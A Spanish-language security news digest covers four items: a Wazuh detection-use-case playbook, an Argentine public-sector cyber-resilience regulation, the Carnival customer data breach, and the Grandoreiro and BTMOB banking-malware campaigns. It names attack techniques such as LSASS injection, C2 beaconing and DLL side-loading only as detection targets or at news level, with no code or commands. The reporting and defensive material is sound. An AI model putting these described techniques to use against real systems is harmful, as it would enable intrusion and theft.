Aplicaciones prácticas en distintos niveles. El playbook se presta a una adopción progresiva. En un primer nivel hay casos accionables sin tocar la arquitectura: brute force con éxito posterior, PowerShell lanzado desde Office, herramientas de seguridad deshabilitadas, indicadores de ransomware vía FIM masivo. Todo eso se traduce a reglas XML con decoders nativos. Un nivel más arriba, casos como C2 beaconing, DNS tunnelling o detección de webshells exigen sumar sensores complementarios —Zeek y Suricata para red, Osquery o Falco para host— centralizados en Wazuh.

En entornos híbridos, los casos de OAuth, MFA fatigue o conditional access modificado se cubren con los módulos oficiales de Wazuh para Microsoft 365, AWS y Google Workspace. Para equipos más maduros, los Building Blocks se materializan como CDB Lists y grupos de agentes, habilitando reglas y active responses diferenciados según la criticidad del activo.

Organización, capacitación y propuesta de valor. Quizás la contribución más subestimada del playbook sea organizativa. Cada blueprint incluye nombre de alerta, nombre de incidente y pasos de triage: insumo directo para armar SOPs estandarizados, catálogos de reglas por cliente y planes de capacitación segmentados por categoría. Y, sobre todo, da el vocabulario para comunicar valor: un reporte mensual con mapeo MITRE ATT&CK 2026 y un Use Case Coverage Score sobre los 100 casos del playbook eleva la conversación con el cliente desde "tenemos alertas" hacia "cubrimos X% del marco vigente".

Niveles de Implementación en Wazuh

Nivel 1: Activación Inmediata

Los casos de alta prevalencia en clientes PyME y enterprise son accionables de inmediato. El playbook identifica casos prioritarios como:

• UC-001: Múltiples fallos de login seguidos de éxito (EventID 4625+4624 de Windows, syslog SSH)
• UC-036: Office spawns PowerShell (Sysmon EventID 1)
• UC-046: Herramientas de seguridad deshabilitadas (Wazuh FIM + Windows 4688)
• UC-048-051: Indicadores de ransomware (cambios masivos en FIM, evento VSS 8222)
• UC-079-080: IPs/dominios maliciosos (integración Wazuh con VirusTotal/AbuseIPDB)

Por ejemplo, la detección de múltiples inicios de sesión fallidos seguidos de un acceso exitoso (UC-001) se resuelve de forma eficiente combinando los decodificadores de eventos del canal de seguridad de Windows (EventID 4625 y 4624) y Syslog en entornos Linux. De igual manera, comportamientos como la inhabilitación maliciosa de herramientas de seguridad en el endpoint (UC-046) o los precursores de actividad de ransomware (UC-048 al UC-051) pueden cubrirse habilitando el módulo de monitorización de integridad de archivos (FIM) de Wazuh en conjunto con la auditoría de ejecución de procesos nativa.

Estos casos pueden implementarse rápidamente aprovechando la telemetría que Wazuh ya recolecta de forma nativa.

Nivel 2: Integración de Sensores Open Source

Para casos que requieren telemetría que Wazuh no cubre por defecto, el playbook sugiere incorporar herramientas maduras de código abierto:

Herramientas complementarias

Al emplear Wazuh como orquestador central, la ingesta de telemetría de sistemas NIDS como Suricata o Zeek permite detectar escaneos de puertos internos (UC-082) o patrones de balizamiento C2 (UC-081). A nivel de host, integrar los resultados de Osquery o Falco facilita la identificación de la creación encubierta de servicios remotos (UC-020) y la inyección en la memoria LSASS (UC-045) al mapear su formato JSON contra reglas de alerta específicas.

Aquí aparecen escenarios como:Beaconing de C2 y patrones de comunicación anómalos

• DNS tunneling
• Escaneo interno de red
• Persistencia en endpoint (scheduled tasks, registry keys)
• Ejecución remota sospechosa

Esta integración amplía significativamente la cobertura sin incurrir en costos de licenciamiento comercial.

Nivel 3: Cobertura Cloud y SaaS

Los casos UC-056 a UC-068 (Cloud/OAuth/SaaS) y UC-087 a UC-096 (Data Leakage) requieren ingestión de logs desde plataformas cloud. Wazuh soporta esto mediante:

1. Módulo office365: Para Microsoft 365/Entra ID, cubriendo casos como MFA Fatigue (UC-003), reglas de reenvío de mail (UC-029), y modificación de Conditional Access (UC-063)
2. Custom integration vía AWS Lambda + Wazuh API: Para AWS CloudTrail/GuardDuty, detectando deshabilitación de logging (UC-064) o asignación de roles admin (UC-065)
3. Módulo Google Workspace (desde v4.6): Para casos como invitados agregados a workspace (UC-066) o modificación de políticas DLP (UC-068)

Estas detecciones requieren integración con Microsoft 365, Entra ID, AWS o Google Workspace, lo cual Wazuh soporta mediante módulos nativos o integraciones personalizadas.

Wazuh cubre esta superficie mediante sus módulos de integración. Al recolectar eventos de Microsoft 365 y Entra ID, es posible detectar intentos de fatiga de MFA (UC-003) y la alteración de políticas de acceso condicional (UC-063). Paralelamente, las integraciones con Google Workspace y AWS CloudTrail (vía configuraciones custom o nativas) habilitan la auditoría sobre la adición de usuarios invitados a espacios confidenciales (UC-066) o la deshabilitación fraudulenta del registro de auditoría en la nube (UC-064).

En este nivel, la aplicabilidad en Wazuh depende de la ingesta de logs externos:

• Abuso de MFA (fatiga de autenticación)
• Reglas de forwarding en correo
• Delegaciones indebidas de acceso
• Cambios en políticas de acceso condicional
• Asignación de roles administrativos en cloud

Nivel 4: Building Blocks como Activo de Servicio

El componente arquitectónico más valioso que aporta el playbook es la definición de doce Building Blocks. En lugar de generar reglas complejas y codificadas rígidamente para cada alerta, se propone crear bloques de contexto reutilizables, como "Usuarios Privilegiados" o "Activos Críticos".

• CDB Lists: "privileged_users.txt", "critical_assets.txt", "approved_scanners.txt"
• Grupos de agentes: "domain_controllers", "payment_systems" para aplicar reglas selectivas por criticidad
• Active Responses diferenciadas: Respuesta automática solo sobre activos críticos definidos

En Wazuh, esta abstracción técnica se logra mediante el uso extensivo de Listas CDB (Constant DataBase). Manteniendo archivos de texto actualizados (como privileged_users.txt), el motor de reglas puede consultar dinámicamente si la IP o el usuario asociado a un evento requiere elevar la severidad de la alerta. Adicionalmente, el uso de Agent groups permite segmentar Respuestas Activas, aislando un servidor únicamente si este ha sido previamente categorizado como crítico dentro de la topología de red.

Mantener estos building blocks actualizados se convierte en un entregable mensual medible con acta de revisión firmada.

Adoptar este nivel de rigor transforma la dinámica del monitoreo de seguridad. Permite abandonar la reactividad generada por el ruido de eventos aislados para pasar a una gestión táctica, en la que se demuestra madurez midiendo de forma objetiva qué porcentaje del framework MITRE ATT&CK se encuentra formalmente resguardado.

Una aclaración necesaria: el playbook no es un manual de Wazuh ni reemplaza la implementación. Lo que aporta es metodología: una forma de pensar la detección por casos de uso, con building blocks reutilizables, contexto de negocio y métricas de cobertura. Cualquier equipo que opere un SIEM —Wazuh, Splunk, Sentinel u otro— puede destilar valor del documento sin más esfuerzo que el de leerlo con criterio.

Para realidades latinoamericanas, donde los presupuestos son acotados y los equipos suelen ser pequeños, buena parte del catálogo es aplicable con lo que ya tenemos instalado, y el resto se cubre con sensores open source maduros sin costos de licencia. Vale la pena descargarlo, leerlo entero y usarlo como check de madurez sobre cada implementación. No reemplaza experiencia ni ingeniería, pero ordena —y ordenar es, muchas veces, el primer paso para detectar mejor—.

El documento no reemplaza la implementación de Wazuh, sino que la complementa con una metodología probada. Su mayor valor para organizaciones que operan Wazuh es triple: proporciona vocabulario común para comunicar valor de seguridad, ofrece estructura para escalar detecciones de forma consistente, y establece métricas objetivas de cobertura de detección.

Agradecemos a Izzmier Izzuddin por la compilación y la difusión del material.

Por Segu-Info

Seguir leyendo...

Disposición AR 1/2026 da 180 días a organismos públicos para reforzar su ciberseguridad

El Centro Nacional de Ciberseguridad argentino comunicó la Disposición 1/2026 con nuevos lineamientos técnicos para mejorar la resiliencia del Estado frente a ciberataques, fallas críticas e incidentes que puedan afectar servicios esenciales. Las claves del boletín oficial.

La publicación en el Boletín Oficial de los nuevos lineamientos técnicos establecidos por el Centro Nacional de Ciberseguridad (CNC) para todos los organismos del sector estatal busca fortalecer la resiliencia cibernética de las infraestructuras críticas y mejorar las capacidades de prevención, respuesta y recuperación ante incidentes informáticos en organismos públicos.

En concreto, establece un plazo de 180 días para que cada uno de los organismos implicados adecue sus infraestructuras, políticas y procedimientos internos a las nuevas disposiciones.

La normativa representa un cambio de paradigma respecto de cómo los Estados abordan la seguridad digital: ya no alcanza con prevenir un ataque, sino que también resulta clave garantizar la continuidad operativa ante un incidente.

El objetivo ya no es solo prevenir ataques, sino recuperarse rápido

La nueva normativa pone el foco en la resiliencia y la recuperación operativa, en un contexto en el que durante años la mayoría de las estrategias defensivas se centraron en la prevención, pero el crecimiento y la evolución del ransomware y de otros tipos de ataques hizo que las organizaciones deban aceptar una realidad incómoda: ningún entorno es invulnerable.

De acuerdo con la nueva normativa de la CNC, cada organismo deberá identificar y clasificar todos sus sistemas según el impacto que tendría su caída, tanto en lo económico, como en la afectación de servicios al ciudadano, las consecuencias legales y el daño reputacional.

Para ello, se incorporan conceptos asociados a continuidad del negocio y recuperación ante desastres, como RTO (Recovery Time Objective) y RPO (Recovery Point Objective), que se utilizan para definir tiempos máximos de recuperación y pérdida aceptable de datos.

En concreto, para sistemas de criticidad alta, el RTO deberá ser menor a 4 horas y la RPO no podrá superar una hora. En sistemas de criticidad media, el RTO será menor a 24 horas y el RPO menor a 4 horas. Mientras que, para los sistemas de criticidad baja, la recuperación podrá ubicarse entre 1 y 5 días, con copias de seguridad verificadas por muestreo.

Centros de datos de respaldo y plan de recuperación de desastres

Otro punto crítico es la obligación de contar con un Centro de Datos de Respaldo dentro del territorio argentino, para evitar que un mismo evento afecte en simultáneo al sitio principal y al alternativo (sea un ciberataque, un apagón masivo o desastre natural). Entre sus características, debe contar con niveles altos de disponibilidad, redundancia eléctrica y protección contra incendios, entre otros.

Por otro lado, la nueva disposición obliga a los organismos estatales a efectuar una prueba anual de su Plan de Recuperación ante Desastres, pruebas de conmutación y pruebas de recuperación desde backups offline, entre otras. Se deben compartir las métricas dentro de un informe, para así llevar adelante un proceso operativo que cuente con evidencia, seguimiento y la oportunidad de una mejora continua.

El texto de la norma incluso menciona escenarios específicos como ransomware y la caída total de infraestructura, exigiendo que existan guías paso a paso (playbooks) para llevar a cabo la recuperación en distintos escenarios de desastre. Estos playbooks deben ser específicos para cada tipo de incidente relevante, con el objetivo de minimizar el impacto operativo que pueda ocasionar un incidente de ciberseguridad.

En este contexto, incorporar capacidades de Inteligencia de Amenazas resulta crítico, ya que permite a las entidades de gobierno “anticiparse mediante el análisis de actores, tácticas, técnicas y procedimientos (TTPs), priorizar riesgos en función del contexto geopolítico y sectorial, y transformar información en decisiones accionables para la protección de activos críticos.

La resiliencia pasa al centro de la estrategia

La nueva normativa refleja un cambio en la forma en que gobiernos y organizaciones a la cuestión de la ciberseguridad.

Durante años, las organizaciones —tanto públicas como privadas— basaron sus estrategias bajo la premisa de impedir cualquier intrusión. Hoy, el paradigma comienza a cambiar: se asume que los incidentes pueden ocurrir y que, por lo tanto, las organizaciones deben estar preparadas para resistir, responder y recuperarse de la manera más rápida posible.

En otras palabras, la resiliencia pasa a tener casi el mismo peso que la prevención. En el caso de los organismos estatales, esa capacidad de recuperación es crítica: no solo impacta sobre sistemas o infraestructuras, sino también sobre servicios esenciales, trámites, operaciones críticas y la vida cotidiana de los ciudadanos.

Por eso, más allá del lado técnico de la normativa, la medida emerge como parte de una transformación mucho más amplia: la consolidación de la ciberseguridad como un componente central para la estabilidad y continuidad operativa de un país.

Fuente: WeLiveSecurity

Seguir leyendo...

Roban 6m registros del mayor operador de cruceros del mundo Carnival

El mayor operador de cruceros del mundo, Carnival Corporation, ha confirmado oficialmente un exhaustivo incidente de ciberseguridad que ha comprometido la información personal de casi seis millones de clientes en todo el mundo.

Según las declaraciones regulatorias presentadas ante las autoridades estatales, incluida la Oficina del Fiscal General de Maine, la brecha ha expuesto datos altamente sensibles pertenecientes a 5,995,277 personas. El gigante corporativo, que opera una enorme flota global a través de marcas emblemáticas como Carnival Cruise Line, Princess Cruises, Holland America Line y Seabourn, se encuentra actualmente trabajando contrarreloj para notificar a los pasajeros afectados y mitigar una oleada de riesgos secundarios de robo de identidad.

El compromiso de seguridad comenzó presuntamente cuando un actor de amenazas digitales lanzó una campaña de ingeniería social altamente dirigida contra miembros del personal de Carnival.

El 14 de abril, una sola cuenta de empleado fue manipulada con éxito, lo que permitió al adversario externo eludir las defensas perimetrales y establecer un punto de apoyo digital dentro de un segmento restringido de los sistemas informáticos internos de la empresa.

Para el 22 de abril, los investigadores descubrieron que el atacante había logrado exfiltrar y copiar de forma agresiva enormes volúmenes de archivos corporativos antes de que los equipos de seguridad pudieran cortar por completo el acceso no autorizado.

Aunque el conglomerado de vacaciones no nombró explícitamente a los cibercriminales detrás de la intrusión en la red, el conocido sindicato de extorsión conocido como ShinyHunters se atribuyó públicamente la responsabilidad del ciberataque.

Posteriormente, el grupo publicó un enorme conjunto de datos que contenía aproximadamente 8.7 millones de registros en su repositorio de la dark web, después de que un aparente intento de extorsión no lograra obtener un pago corporativo.

Un análisis forense de la base de datos filtrada indica que la asombrosa cifra de 7.5 millones de cuentas pertenecían específicamente al programa de recompensas por fidelidad Mariner Society, operado por Holland America Line, lo que demuestra que los delincuentes recolectaron intensamente documentación de viajeros frecuentes.

Los puntos de datos específicos robados por el grupo de extorsión digital varían según el pasajero, pero el alcance de la documentación comprometida resulta profundamente preocupante para los analistas de riesgo corporativo.

En comunicados corporativos y avisos sustitutivos, Carnival confirmó que los archivos robados contienen información de identificación personal (PII) exhaustiva, que incluye nombres completos de clientes, direcciones físicas residenciales, números de teléfono de contacto y direcciones de correo electrónico.

Lo que es más alarmante, los actores de amenazas descargaron con éxito archivos que contenían fechas de nacimiento, números internos de seguimiento de programas de fidelidad y documentos críticos de identificación emitida por el gobierno, incluidos detalles de licencias de conducir y números de pasaporte.

El servicio de notificación de filtraciones de datos Have I Been Pwned analizó los datos filtrados por la banda de extorsionadores y afirmó que la filtración expuso los nombres, fechas de nacimiento, direcciones de correo electrónico, géneros, ubicaciones geográficas y detalles del programa de fidelización de las personas afectadas.

Inmediatamente después de descubrirse la filtración, la unidad de respuesta a incidentes empresariales de Carnival se movilizó junto con expertos en ciberseguridad externos para expulsar a los actores de amenazas del entorno y evaluar la totalidad de los daños operativos. La compañía de cruceros ha declarado que desde entonces ha implementado controles de monitoreo mejorados y ha reforzado sus protocolos de autenticación para protegerse contra futuros exploits de infraestructura centrados en el factor humano.

A partir de finales de mayo, la corporación inició una campaña masiva de notificación electrónica para informar formalmente a los viajeros afectados sobre la exposición de sus credenciales y delinear protocolos de remediación de protección.

Para proteger a los viajeros comprometidos de campañas de phishing dirigidas y el posterior fraude financiero, Carnival está proporcionando a las personas afectadas una suscripción gratuita de 24 meses a la plataforma de resolución de fraudes y monitoreo de crédito MyTrueIdentity de TransUnion.

Los analistas independientes de ciberseguridad advierten que las filtraciones de datos en la industria de viajes son excepcionalmente peligrosas debido a que los actores de amenazas pueden utilizar historiales de viaje explícitos, clasificaciones de fidelidad y detalles de pasaportes para diseñar señuelos engañosos hiperrealistas. En el futuro, se espera que los reguladores de múltiples jurisdicciones examinen de cerca las prácticas de retención de datos de la línea de cruceros y los fallos previos de seguridad en su infraestructura, especialmente dados los antecedentes de Carnival con incidentes de seguridad de datos anteriores.

Fuente: BC

Seguir leyendo...

Campañas de malware Grandoreiro y BTMOB RAT atacan a usuarios de Windows y Android en América Latina

Latinoamérica y Europa se han convertido en el objetivo de dos campañas de troyanos bancarios diseñadas para infectar dispositivos Windows y Android con el malware Grandoreiro y BTMOB, respectivamente.

Esto se desprende de nuevos hallazgos de WatchGuard y ESET, que han observado el uso de estas dos familias de malware para atacar a empresas en España, Portugal y México, así como a usuarios de móviles en Brasil.

Telefónica Tech también ha publicado un análisis técnico sobre las campañas recientes de Grandoreiro. El documento completo, disponible para descarga, detalla la cadena de infección del malware, sus mecanismos de evasión y las técnicas para mantener la comunicación con su infraestructura de mando y control.

La campaña Grandoreiro "utiliza la técnica de carga lateral de DLL, abusando de cuatro programas diferentes y apuntando a bancos en Portugal", afirmó Euler Neto, investigador de WatchGuard.

Activo desde 2016, Grandoreiro es un malware bancario en constante evolución capaz de robar credenciales de miles de instituciones financieras en 45 países y territorios. Generalmente se distribuye mediante correos electrónicos de phishing, incitando a los destinatarios a hacer clic en enlaces sospechosos.

A pesar de algunas detenciones e intentos de las autoridades brasileñas por desmantelar su infraestructura a principios de 2024, el malware ha seguido expandiendo su alcance, incorporando comprobaciones CAPTCHA para resistir el análisis.

La última campaña detectada por WatchGuard utiliza la carga lateral de DLL para ejecutar archivos desarrollados en Delphi 11, un lenguaje de programación comúnmente empleado por malware dirigido a la región. Dos de estas DLL —mingwm10.dll y libwebp.dll— incorporan sgcWebSockets, una biblioteca de WebSocket y comunicación en tiempo real, para comunicaciones punto a punto (P2P) y WebRTC.

"Las DLL asociadas a este caso utilizan el protocolo STUN (Session Traversal Utilities for NAT), que permite a los dispositivos detrás de un NAT descubrir su dirección IP pública y número de puerto, posibilitando la comunicación punto a punto", explicó WatchGuard. "La ventaja para los ciberdelincuentes de utilizar el tráfico de videoconferencias en sus campañas radica en que este tráfico es ruidoso, difícil de monitorizar y en que WebRTC se utiliza habitualmente en las principales plataformas de videoconferencias".

Otras dos DLL asociadas a la campaña son libffi-6.dll y libpng15.dll, que utilizan el protocolo ICE (Interactive Connectivity Establishment) en lugar de STUN para lograr el mismo objetivo. Estos archivos hacen referencia específica a bancos e instituciones financieras que operan en Portugal, como Abanca, Banco de Portugal, BBVA PT, Caixa Geral Depósitos y Santander, entre otros. También se ha atacado a Revolut y Wise.

WatchGuard también informó haber identificado otra campaña en la que se utilizan correos electrónicos de phishing para distribuir un archivo ZIP alojado en Mediafire. El archivo contiene un script de Visual Basic ofuscado que ejecuta un archivo ejecutable, el cual muestra un mensaje solicitando a los usuarios que actualicen Adobe Reader haciendo clic en un botón integrado en la alerta.

Al hacerlo, se activa una serie de comprobaciones destinadas a evitar la detección y dificultar el análisis del malware, antes de ejecutar la carga útil final para robar información bancaria y datos confidenciales. Algunas de las tácticas coinciden con una campaña anterior de Grandoreiro detallada por Kaspersky en octubre de 2024.

"Lo más relevante aquí no es solo que Grandoreiro siga activo", afirmó WatchGuard. "Es que los grupos de ciberdelincuentes con fines lucrativos continúan adaptándose rápidamente, reutilizando servicios legítimos y ocultándose en patrones de tráfico en los que muchas organizaciones ya confían".

"Al combinar phishing, carga lateral de DLL, componentes relacionados con WebRTC, abuso de servicios en la nube y comprobaciones anti-análisis, estas campañas demuestran cómo el malware bancario se está volviendo más difícil de detectar con defensas superficiales únicamente".

BTMOB ofrece herramientas de campaña listas para usar

La revelación coincide con un informe de ESET sobre BTMOB, un troyano de acceso remoto (RAT) para Android que surgió en febrero de 2025 con la capacidad de desbloquear dispositivos, capturar capturas de pantalla, registrar pulsaciones de teclas, automatizar el robo de credenciales mediante inyecciones HTML al abrir ciertas aplicaciones y habilitar el control remoto. Una versión posterior introdujo la capacidad de capturar PIN de Alipay.

"El RAT también se vende con una interfaz para crear APK, lo que permite a cualquiera generar nuevas cargas útiles y adaptar señuelos de phishing para regiones específicas con rapidez, y sin escribir código", afirmó Daniel Cunha Barbosa, investigador de ESET.

Las campañas de BTMOB se han observado principalmente en ataques en Brasil y Latinoamérica, pero la distribución basada en phishing y las capacidades de toma de control de dispositivos del malware, junto con las herramientas listas para usar para crear aplicaciones, lo convierten en una amenaza potente que plantea riesgos mucho más allá de la región y reduce el tiempo y el esfuerzo necesarios para comprometer completamente un dispositivo, advirtió la empresa de seguridad eslovaca.

El principal método de propagación del malware es la ingeniería social, mediante la cual se envían a los usuarios enlaces a sitios web falsos que se hacen pasar por servicios de streaming, plataformas de minería de criptomonedas y otros servicios en línea de confianza.

Desde esos sitios, las víctimas son redirigidas a fichas falsas de aplicaciones en Google Play Store que las engañan para instalar un archivo APK de Android que contiene el malware. Una vez instalado, el malware solicita permisos para usar los servicios de accesibilidad de Android y luego los aprovecha para obtener acceso adicional al sistema sin ninguna interacción del usuario.

Se cree que BTMOB es el sucesor de las familias CraxsRAT, CypherRAT y SpySolr. A mayo de 2026, la última versión del malware (BTMOB v4.5.5) afirmaba ofrecer protección APK mejorada y compatibilidad con las últimas actualizaciones de Google Play.

"Esta actualización se centra en la velocidad y la estabilidad", publicó un perfil X supuestamente vinculado al malware el 1 de mayo de 2026. "Hemos ampliado nuestra infraestructura y perfeccionado el generador para que siempre tengas acceso a los últimos parches de seguridad móvil".

El troyano es promocionado por un actor malicioso llamado EVLF (@craxso) a un precio de 700 dólares al mes. Según un vídeo de YouTube compartido por el autor del malware el 1 de mayo de 2026, una licencia de por vida cuesta 1200 dólares. El código fuente completo del servidor está disponible por 7000 dólares, lo que permite a los clientes alojar los paneles de comando y control (C2) en su propia infraestructura.

Esta misma semana, el perfil X también compartió un enlace a un artículo de Medium sobre "cómo el troyano BTMOB RAT está convirtiendo los teléfonos Android en armas teledirigidas" y cómo ha estado "evolucionando rápidamente" desde principios de 2025.

"Se infiltra a través de sitios de phishing, se apodera de los servicios de accesibilidad y convierte tu teléfono en una marioneta", dice el artículo. "Los hackers vigilan tu pantalla en tiempo real. Roban datos bancarios. Incluso minan criptomonedas en segundo plano mientras navegas por Instagram".

Curiosamente, el artículo fue publicado por una cuenta llamada "Desarrollador principal de CraxsRAT". La biografía de la cuenta afirma que se trata de un "ciberdelincuente hábil e ingenioso que creó una lucrativa empresa de ciberdelincuencia vendiendo malware RAT altamente avanzado a otros actores maliciosos".

El hecho de que BTMOB se venda bajo un modelo de malware como servicio (MaaS) conlleva el riesgo de facilitar el acceso a actores maliciosos menos sofisticados. Esto se ve agravado por informes que indican que ya circulan versiones filtradas en foros clandestinos y Telegram, lo que aumenta el riesgo de abuso por parte de imitadores y otros aspirantes a delincuentes.

"El acceso rara vez se mantiene restringido indefinidamente, y la herramienta puede llegar a mercados secundarios mediante la reventa, el trueque o el intercambio dentro de grupos cerrados", declaró ESET. "Otras familias de malware también pueden copiar algunos elementos que facilitan la personalización de la carga útil y la gestión de campañas para delincuentes menos experimentados".

La empresa italiana de ciberseguridad D3Lab, en un análisis del kit de desarrollo del troyano de acceso remoto BTMOB, filtrado y publicado en diciembre de 2025, afirmó que incluía el código fuente de la carga útil para Android, su instalador, un entorno de compilación, el panel de control para Windows, el servidor C2 y todas las dependencias de software necesarias para desplegar la plataforma.

"La filtración de BTMOB ofrece una perspectiva única sobre el funcionamiento interno de un ecosistema moderno de troyano de acceso remoto como servicio para Android", señaló D3Lab en aquel momento. "Demuestra que el atacante no opera simplemente como un desarrollador que vende un kit de herramientas, sino como un proveedor de servicios que impone licencias, autenticación y control de versiones a sus clientes".

Fuente: THN

Seguir leyendo...